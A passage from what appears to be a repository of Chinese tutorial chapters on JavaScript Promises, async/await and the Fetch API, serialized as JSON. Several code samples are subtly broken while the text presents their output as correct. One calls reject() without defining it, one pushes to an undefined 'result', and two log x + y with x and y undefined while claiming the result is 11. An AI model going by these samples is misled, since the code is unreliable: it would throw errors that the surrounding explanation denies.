的参数将其传递下去。\n\n这里存在一个有意思的地方，由于回调函数可以返回任何的结果，因此返回一个 Promise 对象也是可行的。我们在这里用 p3 来指代这个 Promise 对象，在这种情况下首先明确 p2 与 p3 两个不同的 Promise 对象，但是 p2 与 p3 的状态是一致的，这里的“一致”包括最终的状态、状态触发的时机以及返回值的一致性。我们来举例说明这个过程：\n\n```js\nlet p1 = new Promise(resolve => {\n  resolve('[p1]')\n})\nlet p2 = new Promise(resolve => {\n  resolve(p1)\n})\n// 打印 false\nconsole.log(p1 === p2)\n// 打印 “[p1]”\np2.then(value => {\n  console.log(value)\n})\n```\n\n- 当 p1 需要调用的回调函数不存在时，则会调用 p2 的 `resolve(p1)` 方法，将这个状态持续传递下去；\n\n```js\n// 产生一个 rejected 状态的 Promise 对象\nlet p1 = new Promise((resolve, reject) => {\n  reject('[p1]')\n})\n// 当前注册的 onFulfilled 回调不会触发\n// 同时 onRejected 回调并未注册，因此 p1 的状态会继续向下传递：\nlet p2 = p1.then(value => {\n  console.log(value)\n})\n// 打印 '[p1]'\np2.catch(error => {\n  console.log(error)\n})\n```\n\n以上这些就给异步状态提供了可传递性，为 Promise 的链式调用提供了状态传递的基础。\n\n下面通过一些例子来说明 `.then()` 方法在不同情况下的执行结果。\n\n#### 1. 正常顺序执行\n\n```js\n// 获取初始 promise 对象\nlet promise = new Promise(resolve => {\n  setTimeout(() => {\n    resolve('执行成功！')\n  }, 1000)\n})\n// onFulfilled 回调执行完成\n// 因此 p1 状态变更为 'fulfilled'\nlet p1 = promise.then(result => {\n  return result + '[1]'\n})\n// 1 秒后打印“执行成功！[1]”\nlet p2 = p1.then(result => {\n  console.log(result)\n})\n```\n\n#### 2. 错误处理\n\n```js\n// 获取初始 promise 对象\nlet promise = new Promise(resolve => {\n  // 1 秒后触发执行失败\n  setTimeout(() => {\n    reject('执行失败！')\n  }, 1000)\n})\n// 1 秒后打印“执行失败”\n// 同时由于 onRejected 回调执行完成\n// p1 状态变更为 'fulfilled'\nlet p1 = promise.catch(error => {\n  console.log(error)\n})\n// 打印 undefined，因为 p1 注册的回调没有任何返回\nlet p2 = p1.then(value => {\n  console.log(value)\n})\n```\n\n#### 3. 执行回调时抛出异常\n\n```js\n// 获取初始 promise 对象\nlet promise = new Promise(resolve => {\n  // 1 秒后触发执行成功\n  setTimeout(() => {\n    resolve('执行成功！')\n  }, 1000)\n})\n// 1 秒后执行回调并抛出异常\n// 此时 p1 状态变更为 'rejected'\nlet p1 = promise.then(value => {\n  throw Error('执行异常！')\n})\n// 打印“执行异常！”并返回字符串\n// 由于该回调执行完成因此 p2 状态变更为 'fulfilled'\nlet p2 = p1.catch(error => {\n  console.log(error.message)\n  return '恢复正常！'\n})\n// 打印“恢复正常！”\n// 同时 p3 状态变更为 'fulfilled'\nlet p3 = p2.then(value => {\n  console.log(value)\n})\n```\n\n#### 4. 回调函数返回 Promise 对象\n\n```js\n// 初始 Promise 对象，2 秒后执行成功并返回 '[p1]'\nlet p1 = new Promise(resolve => {\n  setTimeout(() => {\n    resolve('[p1]')\n  }, 2000)\n})\n\nlet p2 = p1.then(result => {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      resolve('[p3]')\n    }, 1000)\n  })\n})\n\n// 3 秒后打印 '[p3]'\np2.then(result => {\n  console.log(result)\n})\n```\n\n通过这个机制就实现了多个异步过程的串行执行，只需要将所有的异步过程统一使用 Promise 进行包裹，并且将下一个异步过程的 Promise 对象作为上一个异步过程 Promise 对象的 `onFulfilled` 回调函数的返回值即可。\n\n\n### Promise 的链式调用\n\n通过前面的举例可以看到 `.then()` 方法是 Promise 对象的原型链方法，并且其返回值同样也是个 Promise 对象，因此只要把前面例子中一些无关紧要的中间变量去除掉，就实现 Promise 的链式调用了。\n\n```js\nnew Promise(resolve => {\n  setTimeout(() => {\n    resolve('执行成功！')\n  }, 1000)\n})\n.then(result => {\n  console.log('步骤 [1]')\n  return new Promise((resolve, reject) => {\n    setTimeout(() => {\n      reject(Error('执行异常'))\n    }, 1000)\n  })\n})\n.catch(error => {\n  console.log(error.message)\n  return '恢复正常'\n})\n.then(result => {\n  console.log(result)\n})\n```\n\n链式调用的好处就是，可以非常直观地将多个需要按顺序执行的异步过程以一种自上而下的线性组合方式实现，在降低编码难度的同时，也增加了代码的可读性。\n\n同时基于注册在同一 Promise 对象的回调函数彼此不相干扰的特性，我们可以在任何需要的地方进行链分叉。在下面的例子当中，假设对于初始 Promise 对象的不同状态将采取两种完全不一样的异步操作的时候，就可以这么实现：\n\n```js\nlet promise = new Promise((resolve, reject) => {\n  if (Math.random() > 0.5) {\n    resolve()\n  } else {\n    reject()\n  }\n})\n\npromise.then(run1)\n  .then(run2)\n  .then(run3)\n  // ...\n\npromise.catch(run4)\n  .then(run5)\n  .then(run6)\n  // ...\n\npromise.then(run7)\n  .then(run8)\n  // ...\n```\n\n## Promise 并行执行与管理\n\n在 JavaScript 当中，异步任务本身就是并行执行的。前面所提到的基于 Promise 的异步任务串行执行，本质上是通过 `.then()` 方法去控制上一个异步任务完成之后再触发下一个异步任务的执行，所以如果要改造成并行执行，只需要同步地创建这些异步任务，并对它们的 Promise 对象进行相应的管理即可。\n\n下面的例子展示了并行获取异步数据 x 和 y，并且在 x 和 y 全部获取之后输入它们的相加结果，其中 `getX()` 和 `getY()` 分别是 x 和 y 的异步获取方法，`getXAndY()` 用于同步返回 x 和 y 的结果：\n\n```js\nfunction getX () {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      resolve(1)\n    }, 1000)\n  })\n}\n\nfunction getY () {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      resolve(10)\n    }, 2000)\n  })\n}\n\nfunction getXAndY([promiseX, promiseY]) {\n  let results = []\n  return promiseX\n    .then(x => {\n      results.push(x)\n        return promiseY\n      })\n    .then(y => {\n      result.push(y)\n        return results\n    })\n}\n\ngetXAndY([\n  getX(),\n  getY()\n])\n.then(results => {\n  console.log(x + y)\n})\n```\n\n执行结果如下：\n\n```bash\n# (...2s)\n11\n```\n\n可以看到 2s 后控制台输出了结果 11，说明 `getX()` 和 `getY()` 是并行执行的，并且在两个 Promise 状态全部成功之后，再最终返回两者的相加结果。\n\n这里的 `getXAndY()` 就属于一种并行状态管理的方案。事实上 Promise 已经提供了 `Promise.all()` 方法来实现同样的功能。因此上述代码可修改为使用 `Promise.all()` 的形式：\n\n```js\nPromise.all([\n  getX(),\n  getY()\n])\n.then(results => {\n  console.log(x + y)\n})\n```\n\n除了 `Promise.all()`，Promise 还提供了 `Promise.race()` 方法，用于获取第一个发生状态变更的 Promise 对象：\n\n```js\nPromise.race([\n  getX(),\n  getY()\n])\n.then(value => {\n  // 打印“1”，因为 x 的结果最先返回\n  console.log(value)\n})\n\nPromise.race([\n  getX(),\n  new Promise((resolve, reject) => {\n    reject('error')\n  })\n])\n// 不会进入 onFulfilled\n.then(value => {\n  console.log(value)\n})\n// 打印“error”\n// 因为这个 Promise 最先返回\n.catch(error => {\n  console.log(error)\n})\n```\n\n假如 `Promise.all()` 和 `Promise.race()` 都无法满足应用场景，我们也可以基于 Promise 的原理与特性，自行开发相应的并行执行管理方案，在这里就不做赘述了。\n\n## 总结\n\n这篇文章介绍了 Promise 基本用法，介绍了 Promise 对象所具有的特性如何解决异步状态的可靠性问题，最后介绍了基于 Promise 的串行和并行执行的实现原理。Promise 是前端异步编程的基础，随着前端生态的不断完善，网站功能的前后端交互将会变得越来越复杂，Promise\n也将会在各种复杂的异步编程当中发挥着越来越重要的作用。\n"
  },
  {
    "path": "chapter03/2-async-function.md",
    "content": "# Async 函数\n\n上一节介绍了 Promise 对象，我们可以很方便地利用 Promise 将过去基于回调函数的异步过程改造成基于链式调用实现，这样更符合我们线性的思维习惯。但实践过程中发现，这种链式调用的异步方案仍然不够直观，我们更希望采用类似于同步函数的书写方式来实现异步。因此在 ES2017 标准中引入了 Async 函数（Async Functions）用于进一步简化异步编程。\n\n需要注意的是，由于 Async 函数语法比较新，目前只在最新版的浏览器上得到了支持，因此在项目中如果使用了 Async 函数，可能需要准备 Babel 等代码编译工具，将 Async 函数语法转换成 ES5 语法实现。\n\n![Async 函数兼容性](./img/async-function.png)\n\n首先我们通过一个简单的例子来演示 Async 函数的作用。\n\n在这之前首先准备一个异步函数 `sleep()`，其作用是将 setTimeout 方法用 Promise 对象进行包装：\n\n```js\nfunction sleep (time) {\n  return new Promise(function (resolve) {\n    setTimeout(resolve, time)\n  })\n}\n```\n\n通过上一节的学习我们知道可以通过链式调用 `Promise.then` 方法来实现异步过程。比如下面的例子当中，在执行 `main()` 1 秒之后将在控制台打印出“结束”的文案的实现如下所示：\n\n```js\nfunction main () {\n  console.log('开始：' + new Date())\n  return sleep(1000)\n    .then(() => {\n      console.log('结束：' + new Date())\n    })\n}\n```\n\n接下来改用 Async 函数来实现同样功能的函数：\n\n```js\nasync function main () {\n  console.log('开始：' + new Date())\n  await sleep(1000)\n  console.log('结束：' + new Date())\n}\n```\n\n可以看到，通过使用 `async` 和 `await` 修饰符改写之后的 `main()` 就不再需要书写复杂的 Promise 链式调用了，同时 Async 函数的语法也更为接近同步函数，无论是书写体验还是阅读体验都得到了较大的提升。\n\n## 语法说明\n\n### Async 函数定义\n\nAsync 函数需要通过 `async` 修饰符进行定义，下面所举例的定义方式都是合法的：\n\n```js\n// 普通函数\nasync function foo (/* 参数 */) {/* 函数体 */}\n// 匿名函数\nconst foo = async function () {}\n// 箭头函数\nconst foo = async () => {}\n// 对象方法简写\nconst obj = {\n  async foo () {}\n}\n// 函数作为参数\nlist.map(async () => {})\n```\n\nAsync 函数会将函数体的所有执行结果通过一个隐式的 Promise 对象返回：\n\n```js\nasync function foo () {}\n// 等价于\nfunction foo () {\n  return new Promise(resolve => resolve())\n}\n\nasync function foo () {\n  return 'Hello World'\n}\n// 等价于\nfunction foo () {\n  return new Promise(resolve => resolve('Hello World'))\n}\n\nasync function foo () {\n  let promise = new Promise(resolve => resolve('Hello World'))\n  return promise\n}\n// 等价于\nfunction foo () {\n  let promise = new Promise(resolve => resolve('Hello World'))\n  return new Promise(resolve => resolve(promise))\n}\n```\n\n### Async 函数错误处理\n\n假如 Async 函数的函数体在执行过程中存在未捕获的错误，那么返回的 Promise 对象将会通过 reject 方法将异常值传递下去：\n\n```js\nasync function foo () {\n  throw Error('出错了')\n}\n// 等价于\nfunction foo () {\n  return new Promise((resolve, reject) => reject(Error('出错了')))\n}\n```\n\n假如 Async 函数返回了异步的错误，也就是返回的 Promise 对象状态变更为 rejected，\n\n```js\nasync function foo () {\n  return Promise.reject('出错了')\n}\n// 等价于\nfunction foo () {\n  return new Promise(resolve => resolve(\n    Promise.reject('出错了')\n  ))\n}\n```\n\n这样一来都可以通过链式调用来捕获异常：\n\n```js\nfoo().then(\n  () => {},\n  e => {\n    // 打印 '出错了'\n    console.log(e)\n  }\n)\n// 或\nfoo().catch(e => {\n  // 打印 '出错了'\n  console.log(e)\n})\n```\n\n### await 表达式定义\n\nAsync 函数的函数体中可能存在 await 表达式。await 表达式非常简单，只需要在 Promise 对象前增加 `await` 关键字即可，同时 await 表达式的返回值就是 Promise 通过 resolve() 所返回的结果：\n\n```js\nasync function main () {\n  // sleep(1000) 返回 Promise 对象，并在 1s 后 resolve\n  await sleep(1000)\n  // val1 === 'Hello World'\n  let val1 = await Promise.resolve('Hello World')\n  // 等待 1s 后对 val2 进行赋值\n  // val2 === 'Hello World'\n  let val2 = await sleep(1000).then(() => 'Hello World')\n}\n```\n\nawait 表达式可以作为 Async 函数的返回结果：\n\n```js\nasync function main () {\n  return await sleep(1000).then(() => 'Hello World')\n}\n\nmain().then(result => {\n  // 打印 Hello World\n  console.log(result)\n})\n```\n\n当 `await` 关键字后面跟的不是 Promise 对象，会自动将其转换为 Promise 对象的返回结果：\n\n```js\n// 以下代码从 Async 函数体内节选\n\nlet val = await 'Hello World'\n// 等价于\nlet val = await Promise.resolve('Hello World')\n```\n\n当 Async 函数执行到 await 表达式的时候会暂停执行，等待 await 表达式的 Promise 对象状态发生变更之后，再去执行后续的步骤。\n\n### await 表达式错误用法\n\n需要强调的是，await 表达式只能在 Async 函数中使用，如果在这个范围之外使用，程序将会报语法错误（SynaxError）。下面的例子举例了一些常见的错误用法：\n\n```js\n// 错误，await 表达式必须在 Async 函数中执行\nawait sleep(1000)\n\nfunction foo () {\n  // 错误，foo 不是 Async 函数\n  await sleep(1000)\n}\n\nasync function main () {\n  const foo = () => {\n    // 错误，因为该匿名函数不是 Async 函数\n    await sleep(1000)\n  }\n}\n\nasync function bar () {\n  let intervals = [1000, 1000, 2000]\n  intervals.forEach(interval => {\n    // 错误，因为该匿名函数不是 Async 函数\n    await sleep(1000)\n  })\n}\n```\n\n### await 表达式异常捕获\n\n`await` 关键字后面跟的 Promise 对象可能会执行 reject，这时 await 表达式就会抛出异常，异常值就是 reject 方法所回传的值。我们可以通过 `try/catch` 捕获这个异常并进行处理：\n\n```js\nasync function foo () {\n  try {\n    await Promise.reject('发生错误')\n  } catch (e) {\n    // 打印 '发生错误'\n    console.log(e)\n  }\n}\n```\n\n其效果与直接对 Promise 对象的异常进行捕获是等价的：\n\n```js\nasync function foo () {\n  await Promise.reject('发生错误')\n    // 打印 '发生错误'\n    .catch(e => console.log(e))\n}\n```\n\n如果不对 await 表达式的抛错进行捕获处理，那么这个错误会继续向外传递，并最终以 Promise.reject 的方式将错误抛到 Async 函数外部：\n\n```js\nasync function foo () {\n  await Promise.reject('发生错误')\n}\n// 打印 '发生错误'\nfoo().catch(e => console.log(e))\n```\n\n## Async 函数用法举例\n\n通过上面的学习对 Async 函数的语法和功能有了一定的了解之后，接下来我们准备几个示例来加深理解。\n\n### 常规用法\n\n在本示例中，将演示如何定义并使用异步函数、读取异步数据、捕获异步异常等等。\n\n这个示例演示了这样一个过程，首先执行 getRandomNumber() 异步地获取一个 0 - 1 之间的随机数，然后送入 shouldLargerThan() 方法进行检查，当随机数小于给定的数值 0.5 时，抛出异常，反之则通过。\n\n首先简单实现 getRandomNumber 和 shouldLargerThan 的功能：\n\n```js\n// 一秒后返回一个 0 - 1 的随机数\nasync function getRandomNumber () {\n  await sleep(1000)\n  return Math.random()\n}\n// 一秒后查看传入的数字是否大于期望值 spec\nasync function shouldLargerThan (spec, num) {\n  await sleep(1000)\n  // 当数值小于 0.5 时抛出异常\n  if (num < spec) {\n    throw '小于 ' + spec\n  }\n  console.log('大于等于 ' + spec)\n}\n```\n\n接下来就可以定义执行整个异步过程的 Async 函数 `run()`：\n\n```js\nasync function run () {\n  // 获取异步数据\n  let num = await getRandomNumber()\n  console.log(num)\n  try {\n    await shouldLargerThan(0.5, num)\n  } catch (e) {\n    // 捕获异常\n    // 打印 '小于 0.5'\n    console.error(e)\n  }\n  console.log('结束')\n}\nrun().then(() => console.log('任务全部执行完毕'))\n// ... （等待 1s）\n// 0.3（假设生成的随机数为 0.3）\n// ... （等待 1s）\n// 小于 0.5\n// 结束\n// 任务全部执行完毕\n```\n\n### 顺序执行异步操作\n\n首先我们定义 3 个异步执行的任务，他们都会在任务开始的时候打印任务开始信息，等待一秒之后再打印任务结束信息。\n\n```js\nasync function task1 () {\n  console.log('Task1 开始')\n  await sleep(1000)\n  console.log('Task1 结束')\n}\nasync function task2 () {\n  console.log('Task2 开始')\n  await sleep(1000)\n  console.log('Task2 结束')\n}\nasync function task3 () {\n  console.log('Task3 开始')\n  await sleep(1000)\n  console.log('Task3 结束')\n}\n```\n\n如果我们需要按顺序依次执行这些任务，根据前面所学内容，可以利用 await 表达式实现：\n\n```js\nasync function main () {\n  await task1()\n  await task2()\n  await task3()\n}\nmain()\n// Task1 开始\n// ... （等待 1s）\n// Task1 结束\n// Task2 开始\n// ... （等待 1s）\n// Task2 结束\n// Task3 开始\n// ... （等待 1s）\n// Task3 结束\n```\n\n我们可以使用 for 循环来简化这一过程，下面的示例展示了使用 for 循环实现同样的效果，读者可以自行尝试使用 for...of 或者 while 等循环语句实现：\n\n```js\nasync function main () {\n  const tasks = [task1, task2, task3]\n  for (let i = 0; i < tasks.length; i++) {\n    await tasks[i]()\n  }\n}\n```\n\n需要注意的是，这里的 for 循环无法用 forEach 代替，这是因为 forEach 只会同步执行它的回调函数，不会受到 await 的阻塞影响：\n\n```js\ntasks.forEach(async task => await task())\n// 等价于\nfor (let task of tasks) {\n  task()\n}\n```\n\n### 并发执行异步操作\n\n假设我们需要这些任务并行执行，那么不使用 await 表达式就能够实现：\n\n```js\nfunction main () {\n  task1()\n  task2()\n  task3()\n}\n\nmain()\n// Task1 开始\n// Task2 开始\n// Task3 开始\n\n// ... （等待 1s）\n\n// Task1 结束\n// Task2 结束\n// Task3 结束\n```\n\n上面的函数可以使用 for/while/forEach 等等各种循环方法来进行简化：\n\n```js\nfunction main () {\n  const tasks = [task1, task2, task3]\n  tasks.forEach(task => task())\n}\n```\n\n假设我们需要在所有的任务全部完成之后去执行某些操作，那么可以结合 Promise.all 方法实现：\n\n```js\nasync function main () {\n  await Promise.all([\n    task1(),\n    task2(),\n    task3()\n  ])\n  console.log('任务全部执行完毕')\n}\nmain()\n// Task1 开始\n// Task2 开始\n// Task3 开始\n\n// ... 等待 1s\n\n// Task1 结束\n// Task2 结束\n// Task3 结束\n// 任务全部执行完毕\n```\n\n我们也可以利用 `Array.map` 来简化这一过程：\n\n```js\nasync function main () {\n  const tasks = [task1, task2, task3]\n  const promises = tasks.map(task => task())\n  await Promise.all(promises)\n  console.log('任务全部执行完毕')\n}\n```\n"
  },
  {
    "path": "chapter03/3-fetch-api.md",
    "content": "# Fetch API\n\nFetch API 是目前最新的异步请求解决方案，它在功能上与 XMLHttpRequest（XHR）类似，都是从服务端异步获取数据或资源的方法。对于有过 AJAX 开发经验的读者应该深有体会，基于 XHR 的异步请求方法在实现上比较复杂。下面简单演示如何通过 XHR 发送异步请求：\n\n```js\n// 实例化 XMLHttpRequest\nlet xhr = new XMLHttpRequest()\n// 定义加载完成回调函数，打印结果\nxhr.onload = function () {\n  console.log('请求成功')\n}\n// 定义加载出错时的回调函数，打印错误\nxhr.onerror = function (err) {\n  console.error('请求失败')\n}\n// 设置请求目标\nxhr.open('GET', '/path/to/text', true)\n// 开始发起请求\nxhr.send()\n```\n\n从上面的代码当中可以感受到，基于事件回调机制的 XHR 在编程实现的思路上非常反思维，要实现这样一个简单的 GET 请求所需代码较多，一旦功能变得复杂很容易会造成混乱。因此在实际应用当中，一般会选择封装好的函数进行使用，比如较为常见的是 jQuery 所提供的 $.ajax 方法。\n\n接下来使用 Fetch API 来实现上述功能：\n\n```js\nfetch('/path/to/text', {method: 'GET'})\n  .then(response => {\n    console.log('请求成功')\n  })\n  .catch(err => {\n    console.error('请求失败')\n  })\n```\n\n经过对比可以发现，在使用 Fetch API 之后，代码逻辑变得更清晰，所需的代码也变得更少。当然 Fetch API 的优点还不止这些，在本节的内容当中，将逐步对 Fetch API 进行更加深入的学习。\n\n## 兼容性\n\nFetch API 的标准目前由 WHATWG 组织进行制定与维护，虽然尚未纳入 W3C 规范当中，但从 Can I Use 网站的统计数据来看，各大主流浏览器已经基本上实现了对 Fetch API 的支持。\n\n![Fetch API 的浏览器支持度（数据来源：caniuse.com）](./img/can-i-use-fetch.png)\n\n对于尚未支持或支持度不完整的浏览器，开源社区也提供了相关 Polyfill，开发者可以通过 npm 进行安装和使用：\n\n```shell\nnpm install --save whatwg-fetch\n```\n\n安装完成之后，只需在 JS 入口文件引入 Polyfill 即可：\n\n```js\nimport 'whatwg-fetch'\n// 引入 polyfill 之后，就可以正常使用 Fetch API 了\nwindow.fetch(/* 相关参数 */)\n```\n\n对于不使用 npm 的项目，也可以到 whatwg-fetch 的 [GitHub 主页](https://github.com/github/fetch)直接下载并使用 fetch.umd.js 文件。\n\n## 概念和用法\n\nFetch API 首先提供了网络请求相关的方法 `fetch()`，其次还提供了用于描述资源请求的 Request 类，以及描述资源响应的 Response 对象，这样就能够以一种统一的形式将资源的请求与响应过程应用到更多的场景当中。\n\n### fetch()\n\nFetch API 提供了 `fetch()` 用来发起网络请求并获得资源响应。它的使用方法非常简单，相关语法如下所示：\n\n```js\nfetch(request).then(response => {/* 响应结果处理 */})\n```\n\n可以看到，`fetch()` 需要传入一个 Request 对象作为参数，`fetch()` 会根据 request 对象所描述的请求信息发起网络请求；由于网络请求过程是个异步过程，因此 `fetch()` 会返回 Promise 对象，当请求响应时 Promise 执行 resolve 并传回 Response 对象。\n\n除了直接以 Request 对象作为参数之外，`fetch()` 还支持传入请求 URL 和请求配置项的方式，`fetch()` 会自动根据这些参数实例化 Request 对象之后再去发起请求，因此以下代码所展示的请求方式都是等价的：\n\n```js\nfetch(new Request('/path/to/resource', {method: 'GET'}))\n// 等价于\nfetch('/path/to/resource', {method: 'GET'})\n```\n\n需要注意的是，`fetch()` 只有在网络错误或者是请求中断的时候才会抛出异常，此时 Promise 对象会执行 reject 并返回错误信息。因此对于 `fetch()` 来说，服务端返回的 HTTP 404、500 等状态码并不认为是网络错误，因此除了检查 Promise 是否 resolve 之外，还需要检查 Response.status、Response.ok 等属性以确保请求是否成功响应。下面的示例代码通过检查响应 status 是否为 200 来判断请求是否成功：\n\n```js\nfetch('/path/to/resource').then(response => {\n  if (response.status === 200) {\n    // 请求成功\n  } else {\n    // 请求失败\n  }\n})\n.catch(err => {\n  // 网络请求失败或请求被中断\n})\n```\n\n### Request\n\nRequest 是一个用于描述资源请求的类，通过 Request() 构造函数可以实例化一个 Request 对象，其语法如下所示：\n\n```js\nlet request = new Request(input, init)\n```\n\n其中，input 代表想要请求的资源，可以是资源的 URL，或者是描述资源请求的 Reqeust 对象；init 为可选参数，可以用来定义请求中的其他选项。可以注意到，Request 构造函数所需参数与 `fetch()` 方法的参数是一样的。下面将通过一些例子来演示一些常见请求类型的实例化方法：\n\n1.GET 请求，请求参数需要写到 URL 当中。\n\n```js\nlet getRequest = new Request('/api/hello?name=lilei', {\n  method: 'GET'\n})\n```\n\n2.POST 请求，请求参数需要写到 body 当中。\n\n```js\nlet postRequest = new Request('/api/hello', {\n  method: 'POST',\n  // body 可以是 Blob、FormData、字符串等等\n  body: JSON.stringify({\n    name: 'lilei'\n  })\n})\n```\n\n3.自定义请求的 Headers 信息。\n\n```js\nlet customRequest = new Request('/api/hello', {\n  // 这里展示请求 Content-Type 为 text/plain 的资源\n  headers: new Headers({\n    'Content-Type': 'text/plain'\n  })\n})\n```\n\n4.设置发起资源请求时带上 cookie。\n\n```js\nlet cookieRequest = new Request('/api/hello', {\n  credentials: 'include'\n})\n```\n\ninit 对象还可以配置其他参数，此处先不做展开，在后续的内容当中会针对一些特定参数做进一步说明。\n\n由于在后面实现资源请求的拦截代理时，需要对拦截的请求进行判断分类，也就是对 Request 对象的属性进行检查，因此介绍一下 Request 对象常用的几个属性：\n\n- url：String 类型，只读，请求的 url；\n- method：String 类型，只读，请求的方法，如 'GET'，'POST' 等；\n- headers：Headers 类型，只读，请求的头部，可通过 get() 方法获取 'Content-Type'，'User-Agent' 等信息。\n\n下面举例使用以上属性对请求进行判断：\n\n```js\nif (request.url === 'https://example.com/data.txt') {\n  // ...\n}\nif (request.method === 'POST') {\n  // ...\n}\nif (reuqest.headers.get('Content-Type') === 'text/html') {\n  // ...\n}\n```\n\n\n### Response\n\nResponse 类用于描述请求响应数据，通过 Response() 构造函数可以实例化一个 Response 对象，其实例化语法如下所示：\n\n```js\nlet response = new Response(body, init)\n```\n\n其中 body 参数代表请求响应的资源内容，可以是字符串、FormData、Blob 等等；init 为可选参数对象，可用来设置响应的 status、statusText、headers 等内容。下面举例说明如何构造一个 index.js 的响应：\n\n```js\nlet jsResponse = new Response(\n  // index.js 的内容为，在控制台打印 \"Hello World!\"\n  'console.log(\"Hello World!\")',\n  {\n    // 定义状态码为请求成功\n    status: 200,\n    // 通过 headers 定义 JS 的 Content-Type\n    headers: new Headers({\n      'Content-Type': 'application/x-javascript'\n    })\n  }\n)\n```\n\n在实际应用当中，我们一般会通过 `fetch()`、Cache API 等等获得请求响应对象，然后再对响应对象进行操作。\n\n#### 判断请求是否成功\n\n前面在介绍 `fetch()` 时提到，对于服务端返回 HTTP 404、500 等错误码 `fetch()` 不会将其当成网络错误，这时就需要对 Response 对象的相关属性进行检查。\n\n- status：Number 类型，包含了 Response 的状态码信息，开发者可以直接通过 status 属性进行状态码检查，从而排除服务端返回的错误响应；\n- statusText：String 类型，包含了与状态码一致的状态信息，一般用于解释状态码的具体含义；\n- ok：Boolean 类型，只有当状态码在 200-299 的范围时，ok 的值为 true。\n\n除了上述提到的属性之外，也同样可以借助 headers 等属性进行辅助判断，具体检查方式与实际需求有关。下面举例如何使用 ok 和 status 进行判断：\n\n```js\nif (response.ok || response.status === 0) {\n  // status 为 0 或 200-299 均代表请求成功\n} else {\n  // 请求失败\n}\n```\n\n#### 读取响应体\n\nFetch API 在设计的时候就采用了数据流的形式去操作请求体和响应体，这样在传输大数据或大文件时会非常有优势。Response 的 body 属性暴露了一个 ReadableStream 类型的响应体内容。Response 提供了一些方法来读取响应体：\n\n- text()：解析为字符串；\n- json()：解析为 JSON 对象；\n- blob()：解析为 Blob 对象；\n- formData()：解析为 FormData 对象；\n- arrayBuffer()：解析为 ArrayBuffer 对象\n\n这些方法读取并解析响应体的数据流属于异步操作，因此这些方法均返回 Promise 对象，当读取数据流并解析完成时，Promise 对象将 resolve 并同时返回解析好的结果。下面的示例将简单演示如何读取 JSON 格式的响应体：\n\n```js\n// 构造 Response 对象\nlet response = new Response(JSON.stringify({name: 'lilei'}))\n\n// 通过 response.json() 读取请求体\nresponse.json().then(data => {\n  console.log(data.name) // 打印 'lilei'\n})\n```\n\n由于 Response 的响应体是以数据流的形式存在的，因此只允许进行一次读取操作。通过检查 bodyUsed 属性可以知道当前的 Response 对象是否已经被读取：\n\n```js\nlet response = new Response(JSON.stringify({name: 'lilei'}))\n\nconsole.log(response.bodyUsed) // false\n\nresponse.json().then(data => {\n  console.log(response.bodyUsed) // true\n})\n```\n\n由于二次读取响应体内容会导致报错，因此为了保险起见，可以在进行响应体读取前首先判断 bodyUsed 属性再决定下一步操作。\n\n#### 拷贝 Response\n\nResponse 提供了 clone() 方法来实现对 Response 对象的拷贝：\n\n```js\nlet clonedResponse = response.clone()\n```\n\nclone() 是一个同步方法，克隆得到的新对象在所有方面与原对象都是相同的。在这里需要注意的是，如果 Response 对象的响应体已经被读取，那么在调用 clone() 方法时会报错，因此需要在读取响应体读取前进行克隆操作。\n\n## Fetch API 与 XHR 的对比\n\n通过上面的介绍可以发现，从功能上看，Fetch API 和 XHR 做的事情都是相似的，都实现了异步请求与资源获取。但从 API 的具体使用和实现方式上，两者存在着较大区别：\n\n1.Fetch API 的异步机制更为先进\n\nXHR 采用回调机制实现异步，这种机制不太符合人脑线性的思维方式，在较为复杂的异步场景中如果存在大量的回调，很容易带来代码可读性差的问题。当然我们也可以利用 Promise 将 XHR 包装成返回 Promise 对象的函数来解决上述问题，但这种封装的函数毕竟不如原生方法来得简洁。\n\nFetch API 则直接采用 Promise 实现异步机制，通过链式调用 Promise.then() 方法，就能够直接按照线性的思维去组织异步操作中的每个步骤，同时借助 Promise.all、Promise.race 等方法，还能够高效地组织多个异步操作来实现更为复杂的功能。\n\n2.Fetch API 更为简洁\n\n在使用 XHR 进行异步请求时会发现，XHR 实例属性包含了请求描述、响应描述，以及各种事件、请求操作方法等等，显得相当混乱。\n\nFetch API 在设计的时候不仅仅实现了 `fetch()` 这个方法，还根据异步请求中所需要的数据格式拆分出 Request、Response、Headers、Body 等一系列原生对象，彼此各司其职，符合关注点分离原则，因此在使用上会显得更加简洁，更加语义化。\n\n3.Fetch API 的应用范围更广\n\n目前 XHR 已经无法在 Service Worker 作用域下进行使用，在 Service Worker 作用域当中发起异步请求的方法只有 Fetch API。这也许只是个开始，XHR 在过去已经很好地完成它的历史使命，但由于 XHR 在设计上已经逐渐不适应现代编程理念，因此在未来 XHR 的应用范围将可能会变得越来越窄，而 Fetch API 这类基于新理念和新技术所设计的 API 将逐渐发挥出越来越重要的作用。\n\n## Fetch API 处理跨域请求\n\n当涉及到前后端通信问题的时候，就不得不提请求跨域的情况。由于受到 Web 同源策略的影响，在使用 Fetch API 默认配置情况下发送异步请求，会受到跨域访问限制而导致资源请求失败。\n\n我们通常采用跨域资源共享机制（CORS）来解决这个问题。在跨域服务端支持 CORS 的前提下，通过将 `fetch()` 的请求模式设置为“cors”，就可以简单地实现跨域请求。在这种请求模式下，返回的请求响应是完全可访问的：\n\n```js\n// 假设当前页面 URL 为 https://current.com\nfetch('https://other.com/data.json', {\n  mode: 'cors'\n})\n.then(response => {\n  console.log(response.status) // 200\n  console.log(response.type) // 'cors'\n  console.log(response.bodyUsed) // false\n  return response.json()\n})\n.then(data => {\n  console.log(data.name) // 'lilei'\n})\n```\n\n对于图片、JS、CSS 等等这些类型的静态资源，如果通过对应的 HTML 标签加载这类跨域资源，是不会受到同源策略限制的，因此一般来说，存放静态资源的服务器并不需要设置 CORS。这就会对 Fetch API 请求这类静态资源带来影响。在默认情况下 `fetch()` 的请求模式为“no-cors”，在这种模式下请求跨域资源并不会报错，但是返回的 Response 对象将变得不透明，type 属性将变成“opaque”，无论服务端所返回的真实 status 是多少，在这种情况下都会变成 0，其他属性也都无法正常访问：\n\n```js\n// 假设当前页面 URL 为 https://current.com\nfetch('https://other.com/data.json', {\n  mode: 'no-cors'\n})\n.then(response => {\n  console.log(response.status) // 0\n  console.log(response.type) // 'opaque'\n  console.log(response.headers) // Headers {}\n  console.log(response.body) // null\n})\n```\n\n此时唯一能正常工作的方法是 clone()，即实现对 Response 对象的拷贝，当然拷贝得到的新对象也同样是不透明的。这种模式比较适用于在 Service Worker 